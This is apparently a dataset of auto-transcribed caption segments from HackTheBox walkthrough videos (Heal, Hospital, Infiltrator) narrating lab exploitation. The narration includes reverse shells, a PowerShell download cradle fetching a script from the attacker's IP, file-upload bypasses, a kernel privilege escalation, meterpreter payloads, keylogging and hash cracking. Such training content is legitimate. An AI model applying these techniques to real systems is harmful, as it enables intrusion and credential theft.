text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
Uh, let's do localhost. Put this in. I am not sure what I'm doing wrong. DB user. Let's see. Dash D for database, I'm guessing. And the database name is survey.
1,344.159
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Uh, let's see. Dash H. See, how do I do database? Use that. H is hurse name. Dash D.
1,371.6
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
So, dashw force a password prompt dash h localhost. I'm honestly not sure why I can't connect. Oh, there we go. So, now we can look at the tables.
1,402.08
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
I'm really not sure why I was having issue earlier, but we can probably do select star from lime users and then we can get a hash here for Ralph. Uh, so we could try cracking that hash, but we've already logged in as Ralph. So, we've got that password out of it. Um, but we do have this new password. So, what I'm going ...
1,417.44
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
to run so I'm going to do ssh runonheelhb and we can log in and I also think that um this entire step isn't needed because the next step is pivoting into this port right this 8500. So if we look at this we can see localhost is listing on a bunch of ports. If we do a ps-fest um let's do last- capital S so we can see wha...
1,473.36
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
guessing this is some type of Rails thing. It's running as the Ralph user and um we also have a NodeJS thing.
1,538.24
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
So, this is probably going to be the front end for the resume. So, we could try going into Ralph's home and looking at the um ré API potentially. And then let's see what else we have. Um that's SSH engine X. And then we have console running on local host. So this is probably what's running on all those like uh ports in...
1,547.6
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Because that's another server running. And it's there, right? The other thing we could try doing that I do a lot is like grepping for uh let's do a random port there. Dev null and seeing if in any of the like system def files we have access to if 8500 is shown. And this is all like SSH moduli, but I don't see anything ...
1,574.4
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
And there you go. We have a web server here. So I'm just going to on the first line do control u squiggly c. And that's going to put me in this SSH prompt. And I can forward port 8500 localhost back to myself. And then we can do 127001 8500. And this is going to load console. And we can do research around this. It look...
1,625.039
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Google and we have a rce exploit from exploit DB and let's just um copy and run this I guess. So v exploit.sh paste this in. Let's see what do we need. uh URG v1 is going to be the host. So 127001. Then we need the port 8500. And then what's next? Rhost R port LHOST Lport. So let's do 1048 90001. Make sure we're listen...
1,685.799
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
doing? Headers. So, request put dash I. I wonder if this exploits just not working. Let's see if I go to console itself.
1,791.32
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
See, do we see anything? This isn't the exploit script I had ran when I was solving the box.
1,817.679
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Um, but let's just troubleshoot this, I guess. Oh, wait. I did bash. This is Python. That would probably be the issue.
1,826.6
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
and request sent checklist listener. There we go. We got root. Awesome. So, that's pretty much the box, right? Uh but after solving this, um there was something I thought about um about this whole exploit. And it's actually not going to be possible because if we look at this console exploit, it's a put request, not a p...
1,848.159
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Uh, which bin bash? That should have the set UID, right? It does.
1,898.36
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Um, bin bash-p maybe. There we go. Now I'm root. So, let's see. Awesome.
1,911
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
So I was thinking maybe from the WK HTML to PDF we could exploit this, right? Or discover this is running. Um, so let's go take a step way back in this machine and let's go. Let's see. It's probably in my Burp history, right? HTTP history. Uh, post exports. Here we go. So this is where it makes a PDF. And the whole exp...
1,927.159
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Um see I think this is correct, right?
1,970.279
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Uh, let's go. WK HTML 2 PDF SSRF let's see I think yeah so what this is showing is in the PDF generation the WK HTML to PDF is vulnerable to I frames right so this should make a connection back to me on port um 8000 We're waiting. It says the PDF was created and I don't have any connection back. So, let's go into the s...
1,977.12
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Uh let's see. So if I just run this on my test.html, I give it out.
2,066.32
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
PDF, uh application appears to be running. That didn't work. The test.html HTML I frame source let's see dev hm do we have to give Huh This is a bit odd. Uh, this is wk HTML. Maybe it doesn't like me running this as a set UID binary ID. There we go.
2,080.44
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
devshing to try running this again now that I don't have set UID. There we go. It works. That's kind of weird, but we see the connection is coming back. But if I do the proxy none because that's what the application's doing. So we have d-proxy none. I'm going to do run the same command but put that here. and we no long...
2,143.16
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
way to fix this right and if we didn't have an iframe in this. So we can do devshm test.html. Uh let's just do please subscribe here. It generates the PDF because the um program is never making a web request. So it never even processes the proxy. So that's why um putting that proxy in um fixes the server side request f...
2,210.16
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
Take care and I will see you all next
2,241.839
0
{ "video_id": "7KsIks7bdp8", "title": "HackTheBox - Heal", "url": "https://www.youtube.com/watch?v=7KsIks7bdp8" }
what's going on YouTube this is ipag on Hospital from hack the box which starts out with hacking a file upload form you can use this to get code execution there's a few tricks but once you do you're on a Linux container and you look at the kernel it is a little bit out of date from like February 2023 so it's over a yea...
0.24
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
there there's two different prives the more interesting one is um uploading a key logger and then just logging the keys and discovering they type a password in so with that being said let's just jump in as always we're going to start off with with an end map so- SCC for default scripts SV enumerate versions OA output a...
46.8
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
this is Windows but I don't know which IP is holding 101 11241 so right away I'm just going to go ahead and add the host names to my host file before I forget the step and then we're going to do a little bit of network analysis to find out um which host is 10101 241 because it looks like there's two so hospital. htb I ...
101.24
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
445 um looks like a lot of ldap stuff there uh 3389 so we got remote desktop open to us and then 880 has a second web server and this one is Apache again but it's running Ubuntu so we we have quite a few ports that have both Ubuntu and Windows so the easiest way to look at this is just going through the TTL that is the...
163.56
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
since we've shown it before let's just do TCP dump so we going to do TCP dump on my ton zero interface so that's the um VPN interface you need to add- V for verose to show um the TTL by default TTL is not shown unless that whenever doing TCP dump I like dasn to hide DNS and then to get rid of some fluff I'm going to sa...
219.799
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
default sets it at 64 and it's got two hops it's got a hop Through the Windows which is acting as a router it's probably running hyperv and then it has to hop through the VPN router so it's two hops to me and what this is telling me is hyperv play if it was Docker Docker doesn't decrement the TTL um I don't think the w...
274.199
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
R and this is loading a round Cube instance and we don't know any username or password so this doesn't really help us too much we could potentially try to find the version I think there is a way you can figure out the round Cube version um not positive if we just do GitHub roundcube maybe it's like readme.md or somethi...
330.639
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
password and we see usernames already taken so we know the username admin exists on this website there is a way to enumerate valid users let's now just create the username IPC and then log in so if we do IPC password uh we get logged in and it looks like just a simple file upload and I notice this is running PHP so let...
389.199
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
success. PHP we don't see where the upload is stored if we try like guessing a directory maybe it's in uploads that's a common place we get it forbidden so we know this probably exists if I do a directory that doesn't we get it not found so we know uploads does exist now we just have to guess at the file name the first...
460
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
like PHP 3 five these are all going to slash failed if I do like 99 we get success so we know this filter is a blacklist right because an unknown extension it works um something else you could do is you could send this over to fuff and then guess that way let's try that because that's always a fun exercise I'm going to...
515.8
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
let's see OPC list uh fuzzing and then there's extensions so let's do opt SEC list fuzzing and then extensions extension star and I just want to get a small word list to start um let's see for I in do cat i wc- l uh permission denied uh we want to do LS there we go we also need to say Echo dasn I there's probably a bet...
583.92
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
always something that takes a little bit of time this looks good uh so let's do extensions most common fuzz and then we send the request off and we can see every request right now looks the same we want to be able to match for when it contains success but I don't think the match regular expression in fuff actually look...
681.6
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
for it um let's see we did it down here let's go back to this we can grap uh far P A and that doesn't look like it's in any of those but f is another good PHP extension so let's try doing that one I'm sure if you did blog post and just ways to like valid PHP extensions this is one of the more common ones it's just one ...
767.88
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
fur something is behaving really weird so we get the file we do view Source oh I'm in view source so I don't know why buttons wasn't working but test is kind of we don't see any output here and that is like really really odd uh let's just do this in curl so we can actually we can do it in burp Suite uh let's just do in...
829.279
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
uploaded like this string or I should see the output of who am I since I see neither of those I know it executed my PHP and decided to do nothing we could change this over to an echo command and if we do that we see now it echoes the thing it doesn't say like Echo space who am I so we have code execution so what we wan...
905.839
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
that's dangerous that isn't um disabled and if we use like Pony shell I think this is it I'm not actually going to use this I'll just talk about it real quick um this is a good single file PHP shell that automatically does a lot of the bypassing for you but I want to show it right if we go to shell. PHP um we can see b...
967.68
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
bypass in this up down video we're going to redo everything we did in that video so if anything doesn't make sense go back to that one uh I think I have to do defunk bypass GitHub this will bring up the page I want and the downside with this is it's going to be in Python 2 and I hate using python 2 so we're just going ...
1,038.039
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
PHP and I'm going to say dangerous functions is equal to array like that and then let's make this PHP okay and then we want to just do a loop so um is it four each dangerous forget exactly how to do PHP for each Loop this is embarrassing I think it's like for each dangerous function in something let's see for each blan...
1,084.559
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
internal server error so we screwed something up let's see dangerous function array I see it we need another parentheses there I can just manly fix that let's go here okay there we go so we have a few we have a log poop link Sim link CIS log and mail poop's probably the easiest one to exploit if we just do uh PHP poop ...
1,185.159
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
mode or whatever it is it's in production mode so it strips all 500s so here we have the script we got a poop path to executable so let's just do bin LS and I always like doing full pads um let's try without a full path real quick when we do a p open oh it still works right we see our two items so we don't need the ful...
1,273.4
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
okay so every now and then when you get a shell it may hang the whole web server so I always just like testing for that because you don't want to create a outage that you don't know about right so let's upgrade this shell to be a proper PTY so python C import PTY PTY spawn bin bash uh close the parency like that stty r...
1,351.96
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
p okay show uh tables uh show databases use Hospital show tables select star from users so we have two hashes right here so we could grab them so V hashes I'm going to call this hashes do 8080 I guess um we could call it like patient upload or something like that I always like putting the username as well and let's see...
1,424.2
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
in the background and I don't think that's actually going to crack but I do want to just show those steps every now now then we want to see what else we could do on the server if we look at the uname output we can see this kernel is uh February 3rd 2023 and I think maybe the intended is like um game overlay or another ...
1,523.32
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
will uh let's see this is the one I think that's intended this inactive one which I think is game overlay but I don't think this is coming up so let's see I'm going to try Linux konel prives and I know there going to be a super generic result but if we do um tools anytime past month and let's go to the top result and l...
1,579.679
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
shm uh W get 10 10 14 8 8,000 exploit there's really no harm and if this exploit was malicious of it really affecting anything cuz I'm running it on a temporary computer right so I just want to see if the prives works and if it's stable so let's run it and immediately we get over to root so this is a valid prives um th...
1,666.159
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
one I don't think the other one's actually supported in hashcat yet maybe it is in the newest version if we updated uh let's do V uh hashes hospital. Shadow paste this go back to a hashcat I probably should have done the user but oh well okay so that's cracking so this whole um dollar y dollar this is actually yes scri...
1,734.799
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
of people may just be confused by this um but we can just do man 5 Crypt and then it talks about that so what is that that is a page of Crypt or man page right if we look by default we're on page three here and what are those pages let's just do a man of man and it decide tells you what each page is um one is for execu...
1,800.48
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
it right then you got the ghost yes scripts if it's a gy um it talks about all them scrypt is dollar 7 bcrypt is dollar two then b or X or a or Y can be those things so this is a great way just to familiarize yourself with exactly how hashing works right because it tells you what everything is um shop 512 crypt the nex...
1,862.399
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
so whenever I see that I always like just making an invalid password because I like to seeing an authenticate and a de authenticate because sometimes windows will tell you everything's valid so we know um that is the valid password we can do D- shares and see if there's any unique shares that Dr Williams has access to ...
1,933.159
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
was a round Cube instance on https so let's go back there uh we're on 880 Dr Williams put in the password log in and clean up some of these tabs and we get logged into Dr Williams Mail and there's inbox does have one message need needle uh needle designs for Darius Simeon and let's see project later can take he wants a...
2,009.24
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
information 9,1 10 10 14 8 okay so it generated this uh EPS file so I always want to look at exactly how it works um to understand the exploit so it looks like something after stroke maybe I'd have to look in the cve but this is the payload it's using and right away I can see this is not going to work on Windows this r...
2,096.76
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
Powershell TCP on line PS1 I'm going to call it shell. PS1 so I have to type that name again and I don't have to do it this way um but I always like having a web server like a web cradle execute it because if I just encoded this and sent it to the server and Antivirus picked it up I wouldn't know if my code execution w...
2,164.64
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
the shell there our web server is in this one let's just close that out so we can listen here so now what we need to do is create a oneliner to execute that so I'm going to do Echo then IEX new object net.
2,219.319
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
webclient download string I always like doing the download string in single quotes So HTTP 10 10 148 8,000 shell. PS1 like this awesome and now to avoid any like quoting issues because we got that double quote there the single quote I always like just B 64 en coding it and windows likes things in utf16 little Indian so...
2,237.599
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
was it generate then we can do payload I'm going to do Powershell ENC paste in that and then we need file name shell.
2,311.56
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
EPS um we'll do shell and then extension EPS there we go so now we have a shell. EPS let's move that up One Directory to say a little organized look at it that is definitely our powers shell command let's listen on 90001 and then go back over to round Cube we can reply to him uh wait for round Cube to get the message i...
2,329.599
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
server um we didn't have to uh let's just show that real quick um was I in dubdub duub I was so cat shell PS1 I con to UTF 16 little Indian base 64 w0 let's just make sure sure this work so I'm not lying to you when I say things uh should just do like xclip to copy this but oh well copy that run this again think I do c...
2,408.48
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
let's just clear that can exit that because that gives me the up and down aors when I'm in my window shell so it's a big quality of life thing so we can send that one there and if we look we have nothing on 8,000 anymore so there's no way for it to hit our web server we should just magically see the shell come in as lo...
2,506.2
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
could get Chris Brown's password if you wanted we could verify that is indeed his password with net exac so net exac SMB 101 11241 uh dasu what was the name uh Dr brown- P and then after this we can check wi RM as well to see if he has member of remote users right so running this it looks like uh we could use Evo winrm...
2,566.92
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
Apache instance we had exploited initially was the one on port 8080 which is on Ubuntu so we know the Windows Server did have a web server and I always like whenever I land on a box especially Windows to get code execution also as the web user because there may be like an sem impersonate um privilege that you can use u...
2,634.8
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
I like that we probably want a let's see close the PHP tag semicolon and call it shell. PHP so if I now go over to shell. PHP do you think it's going to execute we did not it didn't execute anything at all and there's something at play that we kind of talked about earlier in this video if we look at shell.
2,709.839
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
PHP um wait what there we go it just took a while for that type command to work but it looks fine let's go over to curl or better yet let's do burp Suite so let's do proxy intercept yeah let's do intercept on send this go over to repeater Tab run this this looks fine right but what if we go over to hex what are we seei...
2,739.839
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
encoding and we can say utf8 and then the file name shell.
2,822.48
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
PHP I think that's what we did let's go back here run it that looks better I see Authority right so it's no longer UTF 16 little endian encoded so we have a shell and wow we're system as the shell so all we have to do here is um change this up so we have code execution so we can say request CMD like that and then we ca...
2,833.319
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
there there we go that should fix it there we go that was a weird issue so now we have a shell so let's see do I have uh let's if I do a new thing um generate is this it let's just go cve oh was dub dub dub we can say this copy I can say command Powershell encoded this string and that does not look like it worked. exe ...
2,953.28
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
probably a few other pluses but that's what was breaking my base 64 it was getting translated to a space right so always make sure you yourl in code but now on this one we do who am I we are system so of course we can go users administrator desktop and we get the flag if we wanted to so that's the uned way um the inten...
3,123.559
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
um h m server this is zero so that's the non- interactive that's just running as a service um one is Explorer as well if we did qw insta we can see Dr Brown is physically logged in the state is set to active um where ID zero um if we do let's see who am I we are Dr Brown so we're still Dr Brown we're just in a non-inte...
3,192.16
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
doing um and the easiest way to do this is going to be through Metasploit because we have to inject ourselves into another process and process injection in Powershell is just a big pain so I'm going to be using metas plate for this let's do msf Venom um- P don't exactly remember the flags uh- L payloads to get a payloa...
3,249.839
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
see search Handler use I think it's multi Handler listener multi expit multi Handler it's been a while since I've touched Metasploit okay show payloads I just done set payload my bad file F .exe we have created a 64 bit awesome um set payload Windows x64 meterpreter reverse TCP set L host t zero set L Port 901 run let'...
3,356.48
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
exe let's download it not found I'm not in dubdub duub there we go run this sending the stage we should get a call back there we go session one has been opened um so how here we are in interpreter if I do BG we can background that um do want to inter interact with it I'm not used to like the output of it actually sayin...
3,432.799
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
process right so if I do migrate we're going to go over into Explorer and the reason why you may not want to do this is because if you crash Explorer it makes it obvious on the desktop but normally it just restarts if you crash Internet Explorer Internet Explorer window would just close and maybe it doesn't get noticed...
3,509.359
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
2288 oh I'm in VMO tools I want to get in 2612 I guess is it parent process P okay now um the parent of that VM word tools process is Explorer I am in Explorer this is where I am and we don't have anything so I'm thinking maybe you actually have to be on an Explorer for this to work let's see is there a quick way to do...
3,573.68
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
think let's see set payload this set lhost ton zero okay the ID set session I think we're at session one right sessions DL yep and then we can do setp ID 2288 run is this going to work uh we don't have VNC viewer pseudo apt install VNC viewer uh pseudo app search VNC view see maybe this zudo app install hopefully this ...
3,739.52
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
BG did I kill that not sure if I did so let's see key scan dump oh it was logging it just took a while right we can see them type administrator and then the best hospital whatever U bunch of numbers so if we do net exec SMB uh 101 11241 U administrator DP get logged in and I want to see them actually start typing login...
3,907.079
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
so they're different um this was a lowercase b so this one was the uppercase we have it pwned so we could use just like uh PS exact. Pi I guess if we wanted to uh 10 101 241 administrator at requesting share and that's how to do it the intended way right so I hope you guys enjoyed that um I always like just snooping in...
4,080.88
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
you did get this VNC session where maybe you got Chris Brown's password you could log in through moot desktop I don't know if Chris Brown Ken um then you could probably just click on the password field and unmask it right so here we see it typing administrator the like latency in this is awful like VNC is not a um good...
4,144.88
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
um see where's Chris Brown's password Dr Brown oh is this Dr Brown's password yeah documents type uh what's in here type go script.
4,217.04
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
bat let's see can you RDP Dr Brown RDP that just fails X3 RDP uh 10 10 11241 Dr Brown password and we can log in through RDP so if we grab the password then we would be able to get here and unmap weird this shows it I don't see is it because I'm in RDP that I don't have access to that button I don't think I've ever exp...
4,235.52
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
when it started typing but I'm going to take that admin flag off real quick and I'm going to see if that button exist it doesn't so the SL admin that gives you a console session and I didn't really think it did anything nowadays but obviously in Explorer behaves a little bit differently when you add that so um today I ...
4,360.44
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
and I'm guessing I won't be able to see it yep can't see it so that's pretty cool um it's a weird Behavior I don't even know how that's working under the hood but it is if you I guess um remote desktop long enough you would eventually see it type the password or there's probably some JavaScript you can do to um just un...
4,453.639
0
{ "video_id": "E8h0qWsBz6c", "title": "HackTheBox - Hospital", "url": "https://www.youtube.com/watch?v=E8h0qWsBz6c" }
What's going on, YouTube? This is Ipsac doing Infiltrator from Hack the Box, which is an insanely long machine. It starts off with scraping names off a website and then using username anarchy to find the naming convention because one of the kit users is as rep roastable, which gets us a password that we can run blood h...
0.16
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
on a task. So we use that to get access to their account which has a bit locker key saved which allows us to access an encrypted drive and grab the backup that contains ntds. Which we get another password from and do an active directory certificate services attack. Anyways, I probably missed a couple of steps, so let's...
39.12
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
directory is installed. And it's also giving us the fully qualified name just the domain name and I think the net bios name of the domain. So let's go ahead and add this to our host file just so we have this all ready for us. So pseudo v etsy host. And then we can add 10 10 1131. And then let's paste this in. Delete th...
88.96
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
another one, and 3269. That's the SSL of 3268. I want to say this LDAP is for global catalog. That's not really all that important. So, let's just see if there's any other ports. And it looks like there is. We have 3389, which is Microsoft Remote Desktop, or they call it Microsoft terminal services. So, RDP is on this ...
145.04
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
to the page, we just see a standard page. Um, we can check if it's like index.html. Looks like it is. If we do an invalid extension, we get 404 file not found. So it looks like a static website. We can look at the page source to see if there's any indications what built this. And I don't think there is. So just scrolli...
187.599
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
host but again that's going to take a long time if we do all that recon. Um what I'm going to do is grab a list of all these users and build a potential username list and then we can use um curb routt to identify any valid users. So let's go ahead and do that. So to start off, I'm just going to do a curl 101011.31. And...
239.84
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
download thing, but I'm not sure what I messed up there. Okay, I guess I don't need to escape all those, but there we go. So all I want to do is grab the names. I don't want all this um data. We could use like cut said all things like that. But I'm going to do this all in gre. So we're going to do dash op because this ...
300.08
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
